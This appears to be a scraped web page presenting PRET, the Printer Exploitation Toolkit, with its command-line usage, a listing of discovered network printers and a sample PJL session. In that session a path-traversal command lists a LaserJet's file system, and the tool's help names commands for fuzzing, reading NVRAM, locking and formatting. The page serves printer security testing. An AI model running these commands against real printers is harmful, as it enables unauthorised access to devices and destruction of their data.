Printer Exploitation Toolkit (PRET)


git clone


python [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}


usage: [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}

Printer Exploitation Toolkit.

positional arguments:
  target                printer device or hostname
  {ps,pjl,pcl}          printing language to abuse

optional arguments:
  -h, --help            show this help message and exit
  -s, --safe            verify if language is supported
  -q, --quiet           suppress warnings and chit-chat
  -d, --debug           enter debug mode (show traffic)
  -i file, --load file  load and run commands from file
  -o file, --log file   log raw data sent to the target


Discovering local printers

No target given, discovering local printers

address          device                       uptime    status                 
───────────────────────────────────────────────────────────────────────────────      hp LaserJet 4250             10:21:49   Ready             HP LaserJet M3027 MFP        13 days    Paper jam         Lexmark X792                 153 days   Ready             Brother MFC-7860DW           16:31:17   Sleep mode            

Connecting and running commands

$ ./ laserjet.lan pjl
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.25
  |===        |----| ||    by Jens Mueller <[email protected]>
  |           |   ô| ||
  |___________|   ô| ||
  | ||/.´---.||    | ||        「 cause your device can be
  |-||/_____\||-.  | |´           more fun than paper jams 」

     (ASCII art by
     Jan Foerster)

Connection to laserjet.lan established
Device:   hp LaserJet 4250

Welcome to the pret shell. Type help or ? to list commands.
laserjet.lan:/> help

Available commands (type help <topic>):
append  debug    edit    free  id    ls       open      restart   timeout  
cat     delete   env     fuzz  info  mirror   printenv  selftest  touch    
cd      df       exit    get   load  mkdir    put       set       traversal
chvol   disable  find    help  lock  nvram    pwd       site      unlock   
close   display  format  hold  loop  offline  reset     status    version  

laserjet.lan:/> ls ../../
-      834   .profile
d        -   bin
d        -   dev
d        -   etc
d        -   hp
d        -   hpmnt
-     1276   init
d        -   lib
d        -   pipe
d        -   tmp
laserjet.lan:/> exit

URL List